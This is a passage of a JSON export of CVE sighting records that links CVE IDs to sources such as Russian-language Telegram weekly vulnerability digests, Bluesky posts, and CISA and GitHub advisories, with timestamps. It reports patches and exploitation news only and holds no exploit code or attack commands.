\u0437\u0430\u0449\u0438\u0442\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439.\n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0440\u043e\u0447\u043d\u043e\u0435 \ud83d\udcbe\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Cloud Director Appliance. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-34060, \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS 9,8 \u0438\u0437 10.\n\n6\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83e\ude9b\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 59 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0430\u0440\u0442\u0438\u044e \ud83d\udcbd\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Acrobat \u0438 Reader, ColdFusion, inDesign, inCopy \u0438 Audition.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Veeam Software \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \ud83d\udc65\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 Veeam ONE \u0430\u0442\u0430\u043a\u0430\u043c \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.", "creation_timestamp": "2026-08-03T19:00:04.942464Z"}, {"uuid": "d038d8a2-5e7f-465d-8309-6b66db7c71a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (7-14 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \ud83e\uddb9\ud83c\udffc\u200d\u2642\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Looney Tunables (CVE-2023-4911), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n2\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e \ud83d\udd11\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n3\ufe0f\u20e3 \ud83c\uddf7\ud83c\uddfa\u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u0420\u0424 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Bug Bounty, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c 9 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u00ab\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438\u00bb.\n\n4\ufe0f\u20e3 Angara Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcca\u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439.\n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0440\u043e\u0447\u043d\u043e\u0435 \ud83d\udcbe\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Cloud Director Appliance. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-34060, \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS 9,8 \u0438\u0437 10.\n\n6\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83e\ude9b\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 59 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0430\u0440\u0442\u0438\u044e \ud83d\udcbd\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Acrobat \u0438 Reader, ColdFusion, inDesign, inCopy \u0438 Audition.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Veeam Software \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \ud83d\udc65\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 Veeam ONE \u0430\u0442\u0430\u043a\u0430\u043c \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.", "creation_timestamp": "2026-08-04T00:00:29.159184Z"}, {"uuid": "c48afe9a-d275-444f-8589-b768c0277591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/cisoclub/2983", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (15-21 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcf0WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 WP Fastest \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430.\n\n2\ufe0f\u20e3 \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0439 \ud83d\udcbe\u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0442\u0447\u0435\u0439, \u0432 \u043e\u0431\u0449\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u0430 \u0435\u0449\u0435 20 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Edge), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u043f\u044f\u0442\u044c 0-day \u043e\u0448\u0438\u0431\u043e\u043a.\n\n3\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Intel \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 \u0434\u043b\u044f \ud83d\udcbb\u041f\u041a, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u043c\u0438\u043a\u0440\u043e\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b Alder Lake, Raptor Lake \u0438 Sapphire Rapids.\n\n4\ufe0f\u20e3 \u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37580 \u0432 Zimbra \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \ud83c\udf0f\u0441\u0442\u0440\u0430\u043d. \n\n5\ufe0f\u20e3 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \ud83d\udd11LockBit \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Citrix Bleed (CVE-2023-4966) \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f \ud83c\udf4fApple \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c iPhone, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u00ab\u0442\u0430\u043c\u0430\u0433\u043e\u0447\u0438\u00bb-\u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Flipper Zero.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u2601\ufe0fCloud Director, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n8\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Microsoft Threat Intelligence \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udc1eClop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.", "creation_timestamp": "2026-08-04T00:00:29.454404Z"}, {"uuid": "a9b6f011-1706-4282-93b0-abc2807d9d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmrewad7b42p", "content": "~Cisa~\nABB Ability Camera Connect <=1.5.0.14 contains critical vulnerabilities via an outdated bundled VLC media player, risking RCE and DoS.\n-\nIOCs: CVE-2023-47359, CVE-2019-13962, CVE-2017-10699\n-\n#ICS #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-26T16:09:32.377496Z"}, {"uuid": "2a2d30de-12c9-48ff-8da5-c9e5ae3356e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47360", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-146-05", "content": "", "creation_timestamp": "2026-05-26T05:00:00.000000Z"}, {"uuid": "66793653-ea1a-42bb-97d0-210e8d7d2f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-146-05", "content": "", "creation_timestamp": "2026-05-26T05:00:00.000000Z"}, {"uuid": "e6d0571b-61f4-4daf-8fcf-37bb3f7cb9d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47627", "type": "published-proof-of-concept", "source": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg", "content": "", "creation_timestamp": "2023-11-14T16:36:28.000000Z"}, {"uuid": "9b8ea013-8609-4552-870f-e9be4888f794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47641", "type": "published-proof-of-concept", "source": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-xxvh-7g8j", "content": "", "creation_timestamp": "2023-11-14T17:41:34.000000Z"}, {"uuid": "02c81a8f-e182-4432-8fa3-de49df115b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47630", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msje3sffbm2d", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2023-47630: Attacker can cause Kyverno user to unintentionally consume insecure image\nCVSS 7.1 \u00b7 EPSS 0.3% \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2023-47630\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-07T20:04:36.761199Z"}, {"uuid": "4477198e-2228-483b-bce4-600145649ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47639", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-rfw5-cqjj-7v9r", "content": "", "creation_timestamp": "2025-04-03T13:02:57.000000Z"}, {"uuid": "910b47fd-5691-402b-8d93-04aa69eb2d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47117", "type": "published-proof-of-concept", "source": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw", "content": "", "creation_timestamp": "2023-11-13T17:01:18.000000Z"}, {"uuid": "c18d820d-37c6-4e15-9be4-abf05f80fbd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47115", "type": "published-proof-of-concept", "source": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-q68h-xwq5-mm7x", "content": "", "creation_timestamp": "2024-01-23T22:24:16.000000Z"}, {"uuid": "efb3c7a2-9c1b-4988-8613-33e1e6fc3a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47116", "type": "published-proof-of-concept", "source": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-p59w-9gqw-wj8r", "content": "", "creation_timestamp": "2024-01-30T23:07:22.000000Z"}, {"uuid": "8cff72db-dcb6-43f9-8da3-57fce04326db", "vulnerability_lookup_origin": 